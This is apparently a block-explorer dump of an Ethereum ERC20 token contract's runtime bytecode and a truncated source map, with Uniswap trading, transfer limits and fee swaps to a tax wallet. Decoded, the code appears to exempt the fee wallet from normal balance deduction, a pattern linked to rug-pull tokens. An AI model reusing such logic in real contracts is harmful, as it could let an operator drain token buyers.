80fd5b506101a360095481565b34801561033257600080fd5b506101a3600b5481565b34801561034857600080fd5b506101a3610357366004611570565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561038e57600080fd5b506101a3600a5481565b60006103a53384846108e8565b5060015b92915050565b60006103bd6009600a6116a3565b6103cb9063fac033206116b2565b905090565b60006103dd848484610a0c565b61042f843361042a85604051806060016040528060288152602001611859602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906110fd565b6108e8565b5060015b9392505050565b6000546001600160a01b0316331461046d5760405162461bcd60e51b8152600401610464906116d1565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104e15760405162461bcd60e51b8152600401610464906116d1565b6104ed6009600a6116a3565b6104fb9063fac033206116b2565b600990815561050b90600a6116a3565b6105199063fac033206116b2565b600a9081557fb6b5141bc27fbf094198fe1c45a85d9602af15e13caf5cababd42d27f84abd129061054c906009906116a3565b61055a9063fac033206116b2565b60405190815260200160405180910390a1565b60006103a5338484610a0c565b6000546001600160a01b031633146105a45760405162461bcd60e51b8152600401610464906116d1565b60155460ff16156105b457600080fd5b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105fd9030906105ef6009600a6116a3565b61042a9063fac033206116b2565b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610650573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067491906116fa565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fa91906116fa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610747573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076b91906116fa565b600380546001600160a01b039283166001600160a01b03199091161790556001541663f305d71947306107b3816001600160a01b031660009081526004602052604090205490565b6000806107c86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610830573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108559190611717565b505060035460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d29190611745565b506015805463ff0000ff19166301000001179055565b6001600160a01b03831661094a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610464565b6001600160a01b0382166109ab5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610464565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610464565b6001600160a01b038216610ad25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610464565b60008111610b345760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610464565b600080546001600160a01b03858116911614801590610b6157506000546001600160a01b03848116911614155b15610fb857601554610100900460ff1615610c24576001546001600160a01b03848116911614801590610ba257506003546001600160a01b03848116911614155b15610c2457326000908152600860205260409020544311610c115760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610464565b3260009081526008602052604090204390555b6003546001600160a01b038581169116148015610c4f57506001546001600160a01b03848116911614155b8015610c7457506001600160a01b03831660009081526006602052604090205460ff16155b15610db657600954821115610cc25760405162461bcd60e51b815260206004820152601460248201527322bc31b2b2b239903a3432902fb8bab638bb311760611b6044820152606401610464565b600a5482610ce5856001600160a01b031660009081526004602052604090205490565b610cef9190611767565b1115610d345760405162461bcd60e51b815260206004820152601460248201527322bc31b2b2b239903a3432902fb2393d3134b29760611b6044820152606401610464565b6013546014541015610d4c57823b15610d4c57600080fd5b60148054906000610d5c8361177f565b90915550506001600160a01b0383166000908152600760205260409020805460ff19166001179055601154601454610db391606491610dad9110610da257600d54610da6565b600f545b8590611137565b9061119a565b90505b6003546001600160a01b038481169116148015610ddc57506001600160a01b0384163014155b8015610e0157506001600160a01b03841660009081526006602052604090205460ff16155b15610ed1576009548211158015610e335750600c546002546001600160a01b0316600090815260046020526040902054105b610e765760405162461bcd60e51b815260206004820152601460248201527322bc31b2b2b239903a3432902fb8bab638bb311760611b6044820152606401610464565b610e9b6064610dad60125460145411610e9157600e54610da6565b6010548590611137565b9050601354601454118015610ec857506001600160a01b03841660009081526007602052604090205460ff165b610ed157600080fd5b3060009081526004602052604090205460155462010000900460ff16158015610f0757506003546001600160a01b038581169116145b8015610f1c57506015546301000000900460ff165b8015610f295750600b5481115b8015610f385750601354601454115b8015610f5d57506001600160a01b03841660009081526006602052604090205460ff16155b8015610f8257506001600160a01b03851660009081526006602052604090205460ff16155b15610fb657610fa4610f9f84610f9a84600c546111c7565b6111c7565b6111dc565b478015610fb457610fb447611365565b505b505b80156110325730600090815260046020526040902054610fd890826113a3565b30600081815260046020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110299085815260200190565b60405180910390a35b6001600160a01b038416600090815260046020526040902054611057908590846113ed565b6001600160a01b03851660009081526004602052604090205561109c61107d838361141e565b6001600160a01b038516600090815260046020526040902054906113a3565b6001600160a01b0380851660008181526004602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110e6858561141e565b60405190815260200160405180910390a350505050565b600081848411156111215760405162461bcd60e51b81526004016104649190611479565b50600061112e8486611798565b95945050505050565b600082600003611149575060006103a9565b600061115583856116b2565b90508261116285836117af565b146104335760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610464565b60006104338383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b81525061144b565b60008183116111d65782610433565b50919050565b6015805462ff000019166201000017905580156113565760155460ff1615611356576040805160028082526060820183526000926020830190803683370190505090503081600081518110611233576112336117d1565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b091906116fa565b816001815181106112c3576112c36117d1565b6001600160a01b0392831660209182029290920101526001546112e991309116846108e8565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906113229085906000908690309042906004016117e7565b600060405180830381600087803b15801561133c57600080fd5b505af1158015611350573d6000803e3d6000fd5b50505050505b506015805462ff000019169055565b6002546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561139f573d6000803e3d6000fd5b5050565b6000806113b08385611767565b9050838110156104335760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610464565b6002546000906001600160a01b039081169085160361140d575081610433565b611417838361141e565b9050610433565b60006104338383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110fd565b6000818361146c5760405162461bcd60e51b81526004016104649190611479565b50600061112e84866117af565b600060208083528351808285015260005b818110156114a65785810183015185820160400152820161148a565b818111156114b8576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146114e357600080fd5b50565b600080604083850312156114f957600080fd5b8235611504816114ce565b946020939093013593505050565b60008060006060848603121561152757600080fd5b8335611532816114ce565b92506020840135611542816114ce565b929592945050506040919091013590565b60006020828403121561156557600080fd5b8135610433816114ce565b6000806040838503121561158357600080fd5b823561158e816114ce565b9150602083013561159e816114ce565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115fa5781600019048211156115e0576115e06115a9565b808516156115ed57918102915b93841c93908002906115c4565b509250929050565b600082611611575060016103a9565b8161161e575060006103a9565b8160018114611634576002811461163e5761165a565b60019150506103a9565b60ff84111561164f5761164f6115a9565b50506001821b6103a9565b5060208310610133831016604e8410600b841016171561167d575081810a6103a9565b61168783836115bf565b806000190482111561169b5761169b6115a9565b029392505050565b600061043360ff841683611602565b60008160001904831182151516156116cc576116cc6115a9565b500290565b6020808252600f908201526e27bbb730b136329d1031b0b63632b960891b604082015260600190565b60006020828403121561170c57600080fd5b8151610433816114ce565b60008060006060848603121561172c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561175757600080fd5b8151801515811461043357600080fd5b6000821982111561177a5761177a6115a9565b500190565b600060018201611791576117916115a9565b5060010190565b6000828210156117aa576117aa6115a9565b500390565b6000826117cc57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118375784516001600160a01b031683529383019391830191600101611812565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220776a574544c149e48f8ee8e90cd3423f22ca1416f1571e4ac08379187698872964736f6c634300080f0033

Deployed Bytecode Sourcemap

3610:9742:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5520:83;;;;;;;;;;-1:-1:-1;5590:5:0;;;;;;;;;;;;-1:-1:-1;;;5590:5:0;;;;5520:83;;;;;;;:::i;:::-;;;;;;;;6360:161;;;;;;;;;;-1:-1:-1;6360:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;6360:161:0;1072:187:1;5797:100:0;;;;;;;;;;;;;:::i;:::-;;;1410:25:1;;;1398:2;1383:18;5797:100:0;1264:177:1;6529:317:0;;;;;;;;;;-1:-1:-1;6529:317:0;;;;;:::i;:::-;;:::i;5706:83::-;;;;;;;;;;-1:-1:-1;5706:83:0;;3958:1;2049:36:1;;2037:2;2022:18;5706:83:0;1907:184:1;4826:28:0;;;;;;;;;;-1:-1:-1;4826:28:0;;;;;;;;;;;5905:119;;;;;;;;;;-1:-1:-1;5905:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5998:18:0;5971:7;5998:18;;;:9;:18;;;;;;;5905:119;2630:148;;;;;;;;;;;;;:::i;:::-;;4449:36;;;;;;;;;;;;;;;;2433:79;;;;;;;;;;-1:-1:-1;2471:7:0;2498:6;2433:79;;-1:-1:-1;;;;;2498:6:0;;;2494:51:1;;2482:2;2467:18;2433:79:0;2348:203:1;5611:87:0;;;;;;;;;;-1:-1:-1;5683:7:0;;;;;;;;;;;;-1:-1:-1;;;5683:7:0;;;;5611:87;;11903:171;;;;;;;;;;;;;:::i;6032:167::-;;;;;;;;;;-1:-1:-1;6032:167:0;;;;;:::i;:::-;;:::i;12462:850::-;;;;;;;;;;;;;:::i;4318:37::-;;;;;;;;;;;;;;;;4406:36;;;;;;;;;;;;;;;;6207:145;;;;;;;;;;-1:-1:-1;6207:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6316:19:0;;;6289:7;6316:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6207:145;4362:37;;;;;;;;;;;;;;;;6360:161;6435:4;6452:39;2090:10;6475:7;6484:6;6452:8;:39::i;:::-;-1:-1:-1;6509:4:0;6360:161;;;;;:::o;5797:100::-;5850:7;4019:14;3958:1;4019:2;:14;:::i;:::-;4006:27;;:10;:27;:::i;:::-;5870:19;;5797:100;:::o;6529:317::-;6627:4;6644:36;6654:6;6662:9;6673:6;6644:9;:36::i;:::-;6691:125;6700:6;2090:10;6722:93;6764:6;6722:93;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6722:19:0;;;;;;:11;:19;;;;;;;;2090:10;6722:33;;;;;;;;;;:41;:93::i;:::-;6691:8;:125::i;:::-;-1:-1:-1;6834:4:0;6529:317;;;;;;:::o;2630:148::-;2560:6;;-1:-1:-1;;;;;2560:6:0;2090:10;2560:22;2552:50;;;;-1:-1:-1;;;2552:50:0;;;;;;;:::i;:::-;;;;;;;;;2737:1:::1;2721:6:::0;;2700:40:::1;::::0;-1:-1:-1;;;;;2721:6:0;;::::1;::::0;2700:40:::1;::::0;2737:1;;2700:40:::1;2768:1;2751:19:::0;;-1:-1:-1;;;;;;2751:19:0::1;::::0;;2630:148::o;11903:171::-;2560:6;;-1:-1:-1;;;;;2560:6:0;2090:10;2560:22;2552:50;;;;-1:-1:-1;;;2552:50:0;;;;;;;:::i;:::-;4019:14:::1;3958:1;4019:2;:14;:::i;:::-;4006:27;::::0;:10:::1;:27;:::i;:::-;11974:7;:22:::0;;;4019:14:::1;::::0;:2:::1;:14;:::i;:::-;4006:27;::::0;:10:::1;:27;:::i;:::-;12007:7;:22:::0;;;12045:21:::1;::::0;4019:14:::1;::::0;3958:1:::1;::::0;4019:14:::1;:::i;:::-;4006:27;::::0;:10:::1;:27;:::i;:::-;12045:21;::::0;1410:25:1;;;1398:2;1383:18;12045:21:0::1;;;;;;;11903:171::o:0;6032:167::-;6110:4;6127:42;2090:10;6151:9;6162:6;6127:9;:42::i;12462:850::-;2560:6;;-1:-1:-1;;;;;2560:6:0;2090:10;2560:22;2552:50;;;;-1:-1:-1;;;2552:50:0;;;;;;;:::i;:::-;12554:7:::1;::::0;::::1;;12552:9;12529:34;;;::::0;::::1;;12575:7;:104:::0;;-1:-1:-1;;;;;;12575:104:0::1;12636:42;12575:104:::0;;::::1;::::0;;;12690:93:::1;::::0;12717:4:::1;::::0;4019:14:::1;3958:1;4019:2;:14;:::i;:::-;4006:27;::::0;:10:::1;:27;:::i;12690:93::-;12832:7;;;;;;;;;-1:-1:-1::0;;;;;12832:7:0::1;-1:-1:-1::0;;;;;12832:25:0::1;;:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12814:70:0::1;;12908:4;12930:7;;;;;;;;;-1:-1:-1::0;;;;;12930:7:0::1;-1:-1:-1::0;;;;;12930:28:0::1;;:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12814:150;::::0;-1:-1:-1;;;;;;12814:150:0::1;::::0;;;;;;-1:-1:-1;;;;;5467:15:1;;;12814:150:0::1;::::0;::::1;5449:34:1::0;5519:15;;5499:18;;;5492:43;5384:18;;12814:150:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12794:7;:170:::0;;-1:-1:-1;;;;;12794:170:0;;::::1;-1:-1:-1::0;;;;;;12794:170:0;;::::1;;::::0;;;12975:7;::::1;:23;13016:31;13067:4;13083:34;13067:4:::0;-1:-1:-1;;;;;5998:18:0;5971:7;5998:18;;;:9;:18;;;;;;;5905:119;13083:34:::1;13118:1;13120::::0;13122:7:::1;2471::::0;2498:6;-1:-1:-1;;;;;2498:6:0;;2433:79;13122:7:::1;12975:181;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12975:181:0;;;-1:-1:-1;;;;;5905:15:1;;;12975:181:0::1;::::0;::::1;5887:34:1::0;5937:18;;;5930:34;;;;5980:18;;;5973:34;;;;6023:18;;;6016:34;6087:15;;;6066:19;;;6059:44;13130:25:0::1;6119:19:1::0;;;6112:35;5821:19;;12975:181:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13174:7:0::1;::::0;;13209;13167:87:::1;::::0;-1:-1:-1;;;13167:87:0;;-1:-1:-1;;;;;13209:7:0;;::::1;13167:87;::::0;::::1;6643:51:1::0;-1:-1:-1;;6710:18:1;;;6703:34;13174:7:0;::::1;::::0;-1:-1:-1;13167:33:0::1;::::0;6616:18:1;;13167:87:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13265:7:0::1;:14:::0;;-1:-1:-1;;13290:14:0;;;;;12462:850::o;6854:339::-;-1:-1:-1;;;;;6948:20:0;;6940:69;;;;-1:-1:-1;;;6940:69:0;;7232:2:1;6940:69:0;;;7214:21:1;7271:2;7251:18;;;7244:30;7310:34;7290:18;;;7283:62;-1:-1:-1;;;7361:18:1;;;7354:34;7405:19;;6940:69:0;7030:400:1;6940:69:0;-1:-1:-1;;;;;7028:21:0;;7020:68;;;;-1:-1:-1;;;7020:68:0;;7637:2:1;7020:68:0;;;7619:21:1;7676:2;7656:18;;;7649:30;7715:34;7695:18;;;7688:62;-1:-1:-1;;;7766:18:1;;;7759:32;7808:19;;7020:68:0;7435:398:1;7020:68:0;-1:-1:-1;;;;;7099:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;7152:33;;1410:25:1;;;7152:33:0;;1383:18:1;7152:33:0;;;;;;;6854:339;;;:::o;7201:3571::-;-1:-1:-1;;;;;7289:18:0;;7281:68;;;;-1:-1:-1;;;7281:68:0;;8040:2:1;7281:68:0;;;8022:21:1;8079:2;8059:18;;;8052:30;8118:34;8098:18;;;8091:62;-1:-1:-1;;;8169:18:1;;;8162:35;8214:19;;7281:68:0;7838:401:1;7281:68:0;-1:-1:-1;;;;;7368:16:0;;7360:64;;;;-1:-1:-1;;;7360:64:0;;8446:2:1;7360:64:0;;;8428:21:1;8485:2;8465:18;;;8458:30;8524:34;8504:18;;;8497:62;-1:-1:-1;;;8575:18:1;;;8568:33;8618:19;;7360:64:0;8244:399:1;7360:64:0;7452:1;7443:6;:10;7435:64;;;;-1:-1:-1;;;7435:64:0;;8850:2:1;7435:64:0;;;8832:21:1;8889:2;8869:18;;;8862:30;8928:34;8908:18;;;8901:62;-1:-1:-1;;;8979:18:1;;;8972:39;9028:19;;7435:64:0;8648:405:1;7435:64:0;7510:14;2498:6;;-1:-1:-1;;;;;7541:26:0;;;2498:6;;7541:26;;;;:56;;-1:-1:-1;2471:7:0;2498:6;-1:-1:-1;;;;;7571:26:0;;;2498:6;;7571:26;;7541:56;7537:2699;;;7621:8;;;;;;;7617:489;;;7704:7;;-1:-1:-1;;;;;7654:58:0;;;7704:7;;7654:58;;;;:139;;-1:-1:-1;7785:7:0;;-1:-1:-1;;;;;7734:59:0;;;7785:7;;7734:59;;7654:139;7650:441;;;7852:9;7824:38;;;;:7;:38;;;;;;7885:12;-1:-1:-1;7816:161:0;;;;-1:-1:-1;;;7816:161:0;;9260:2:1;7816:161:0;;;9242:21:1;9299:2;9279:18;;;9272:30;9338:34;9318:18;;;9311:62;-1:-1:-1;;;9389:18:1;;;9382:34;9433:19;;7816:161:0;9058:400:1;7816:161:0;8026:9;7998:38;;;;:7;:38;;;;;8059:12;7998:73;;7650:441;8148:7;;-1:-1:-1;;;;;8126:29:0;;;8148:7;;8126:29;:69;;;;-1:-1:-1;8187:7:0;;-1:-1:-1;;;;;8159:36:0;;;8187:7;;8159:36;;8126:69;:99;;;;-1:-1:-1;;;;;;8214:11:0;;;;;;:7;:11;;;;;;;;8213:12;8126:99;8122:783;;;8283:7;;8255:6;:35;;8247:86;;;;-1:-1:-1;;;8247:86:0;;9665:2:1;8247:86:0;;;9647:21:1;9704:2;9684:18;;;9677:30;-1:-1:-1;;;9723:18:1;;;9716:50;9783:18;;8247:86:0;9463:344:1;8247:86:0;8422:7;;8394:6;8360:31;8388:2;-1:-1:-1;;;;;5998:18:0;5971:7;5998:18;;;:9;:18;;;;;;;5905:119;8360:31;:40;;;;:::i;:::-;:69;;8352:121;;;;-1:-1:-1;;;8352:121:0;;10147:2:1;8352:121:0;;;10129:21:1;10186:2;10166:18;;;10159:30;-1:-1:-1;;;10205:18:1;;;10198:50;10265:18;;8352:121:0;9945:344:1;8352:121:0;8522:7;;8495;;:34;8492:122;;;12241:35;;12304:20;8551:43;;;;;;8632:7;:9;;;:7;:9;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8661:31:0;;;;;;:8;:31;;;;;:36;;-1:-1:-1;;8661:36:0;8693:4;8661:36;;;8782:14;;8756:7;;8725:164;;8885:3;;8725:137;;-1:-1:-1;8755:106:0;;8847:14;;8755:106;;;8816:12;;8755:106;8725:6;;:11;:137::i;:::-;:159;;:164::i;:::-;8716:173;;8122:783;8930:7;;-1:-1:-1;;;;;8924:13:0;;;8930:7;;8924:13;:51;;;;-1:-1:-1;;;;;;8955:20:0;;8970:4;8955:20;;8924:51;:83;;;;-1:-1:-1;;;;;;8994:13:0;;;;;;:7;:13;;;;;;;;8993:14;8924:83;8921:550;;;9064:7;;9036:6;:35;;:102;;;;-1:-1:-1;9131:7:0;;9103:8;;-1:-1:-1;;;;;9103:8:0;5971:7;5998:18;;;:9;:18;;;;;;9093:45;9036:102;9028:153;;;;-1:-1:-1;;;9028:153:0;;9665:2:1;9028:153:0;;;9647:21:1;9704:2;9684:18;;;9677:30;-1:-1:-1;;;9723:18:1;;;9716:50;9783:18;;9028:153:0;9463:344:1;9028:153:0;9209:149;9354:3;9209:122;9248:15;;9222:7;;:41;9221:109;;9315:15;;9221:109;;;9283:13;;9209:6;;:11;:122::i;:149::-;9200:158;;9411:7;;9385;;:33;:69;;;;-1:-1:-1;;;;;;9440:14:0;;;;;;:8;:14;;;;;;;;9385:69;9377:78;;;;;;9550:4;9487:28;5998:18;;;:9;:18;;;;;;9576:6;;;;;;;9575:7;:38;;;;-1:-1:-1;9606:7:0;;-1:-1:-1;;;;;9600:13:0;;;9606:7;;9600:13;9575:38;:63;;;;-1:-1:-1;9631:7:0;;;;;;;9575:63;:124;;;;;9692:7;;9656:20;:43;9575:124;:171;;;;;9739:7;;9717;;:29;9575:171;:200;;;;-1:-1:-1;;;;;;9764:11:0;;;;;;:7;:11;;;;;;;;9763:12;9575:200;:232;;;;-1:-1:-1;;;;;;9794:13:0;;;;;;:7;:13;;;;;;;;9793:14;9575:232;9571:654;;;9842:104;9857:88;9864:6;9890:54;9897:20;9936:7;;9890:6;:54::i;:::-;9857:6;:88::i;:::-;9842:13;:104::i;:::-;10012:39;10073:40;;10070:140;;10138:52;10146:43;10138:7;:52::i;:::-;9823:402;9571:654;7600:2636;7537:2699;10251:8;;10248:237;;10352:4;10310:48;;;;:9;:48;;;;;;:72;;10375:6;10310:64;:72::i;:::-;10303:4;10273:36;;;;:9;:36;;;;;;;:109;;;;10412:61;;-1:-1:-1;;;;;10412:61:0;;;;;;;10466:6;1410:25:1;;1398:2;1383:18;;1264:177;10412:61:0;;;;;;;;10248:237;-1:-1:-1;;;;;10545:15:0;;;;;;:9;:15;;;;;;10522:58;;10529:4;;10573:6;10522;:58::i;:::-;-1:-1:-1;;;;;10495:25:0;;;;;;:9;:25;;;;;:85;10615:61;10643:32;:6;10668;10643:24;:32::i;:::-;-1:-1:-1;;;;;10615:13:0;;;;;;:9;:13;;;;;;;:27;:61::i;:::-;-1:-1:-1;;;;;10591:13:0;;;;;;;:9;:13;;;;;:85;;;;10692:72;;;10731:32;:6;10756;10731:24;:32::i;:::-;10692:72;;1410:25:1;;;1398:2;1383:18;10692:72:0;;;;;;;7270:3502;7201:3571;;;:::o;1225:194::-;1315:7;1351:12;1343:6;;;;1335:29;;;;-1:-1:-1;;;1335:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1375:9:0;1387:5;1391:1;1387;:5;:::i;:::-;1375:17;1225:194;-1:-1:-1;;;;;1225:194:0:o;1427:222::-;1486:7;1510:1;1515;1510:6;1506:47;;-1:-1:-1;1540:1:0;1533:8;;1506:47;1563:9;1575:5;1579:1;1575;:5;:::i;:::-;1563:17;-1:-1:-1;1608:1:0;1599:5;1603:1;1563:17;1599:5;:::i;:::-;:10;1591:31;;;;-1:-1:-1;;;1591:31:0;;10988:2:1;1591:31:0;;;10970:21:1;11027:1;11007:18;;;11000:29;-1:-1:-1;;;11045:18:1;;;11038:38;11093:18;;1591:31:0;10786:331:1;1657:114:0;1715:7;1742:21;1746:1;1749;1742:21;;;;;;;;;;;;;-1:-1:-1;;;1742:21:0;;;:3;:21::i;11471:155::-;11563:7;11593:1;11589;:5;11587:30;;11616:1;11587:30;;;-1:-1:-1;11612:1:0;11471:155;-1:-1:-1;11471:155:0:o;10780:683::-;4996:6;:13;;-1:-1:-1;;4996:13:0;;;;;10864:37;;10893:7:::1;10864:37;10915:7;::::0;::::1;;10911:31:::0;10934:7:::1;10911:31;10998:16;::::0;;11012:1:::1;10998:16:::0;;;;;::::1;::::0;;10952:33:::1;::::0;10998:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10998:16:0::1;10952:62;;11053:4;11025;11030:1;11025:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11025:33:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:33;;;;11089:7:::1;::::0;:14:::1;::::0;;-1:-1:-1;;;11089:14:0;;;;:7;;;::::1;::::0;:12:::1;::::0;:14:::1;::::0;;::::1;::::0;11025:7;;11089:14;;;;;:7;:14:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11069:4;11074:1;11069:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11069:34:0;;::::1;:7;::::0;;::::1;::::0;;;;;:34;11171:7:::1;::::0;11114:94:::1;::::0;11131:4:::1;::::0;11171:7:::1;11196:11:::0;11114:8:::1;:94::i;:::-;11219:7;::::0;:236:::1;::::0;-1:-1:-1;;;11219:236:0;;-1:-1:-1;;;;;11219:7:0;;::::1;::::0;:68:::1;::::0;:236:::1;::::0;11312:11;;11219:7:::1;::::0;11354:4;;11395::::1;::::0;11415:29:::1;::::0;11219:236:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10853:610;5020:1;-1:-1:-1::0;5032:6:0;:14;;-1:-1:-1;;5032:14:0;;;10780:683::o;12340:114::-;12397:8;;:49;;-1:-1:-1;;;;;12397:8:0;;;;:49;;;;;12439:6;;12397:8;:49;:8;:49;12439:6;12397:8;:49;;;;;;;;;;;;;;;;;;;;;12340:114;:::o;927:160::-;985:7;;1017:5;1021:1;1017;:5;:::i;:::-;1005:17;;1046:1;1041;:6;;1033:27;;;;-1:-1:-1;;;1033:27:0;;10988:2:1;1033:27:0;;;10970:21:1;11027:1;11007:18;;;11000:29;-1:-1:-1;;;11045:18:1;;;11038:38;11093:18;;1033:27:0;10786:331:1;11634:261:0;11777:8;;11737:7;;-1:-1:-1;;;;;11777:8:0;;;11759:26;;;;11756:132;;-1:-1:-1;11808:1:0;11801:8;;11756:132;11848:28;:1;11874;11848:24;:28::i;:::-;11841:35;;;;1095:122;1157:7;1185:24;1192:1;1195;1185:24;;;;;;;;;;;;;-1:-1:-1;;;1185:24:0;;;:6;:24::i;1779:189::-;1865:7;1900:12;1893:5;1885:28;;;;-1:-1:-1;;;1885:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1924:9:0;1936:5;1940:1;1936;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;2096:247::-;2155:6;2208:2;2196:9;2187:7;2183:23;2179:32;2176:52;;;2224:1;2221;2214:12;2176:52;2263:9;2250:23;2282:31;2307:5;2282:31;:::i;2556:388::-;2624:6;2632;2685:2;2673:9;2664:7;2660:23;2656:32;2653:52;;;2701:1;2698;2691:12;2653:52;2740:9;2727:23;2759:31;2784:5;2759:31;:::i;:::-;2809:5;-1:-1:-1;2866:2:1;2851:18;;2838:32;2879:33;2838:32;2879:33;:::i;:::-;2931:7;2921:17;;;2556:388;;;;;:::o;2949:127::-;3010:10;3005:3;3001:20;2998:1;2991:31;3041:4;3038:1;3031:15;3065:4;3062:1;3055:15;3081:422;3170:1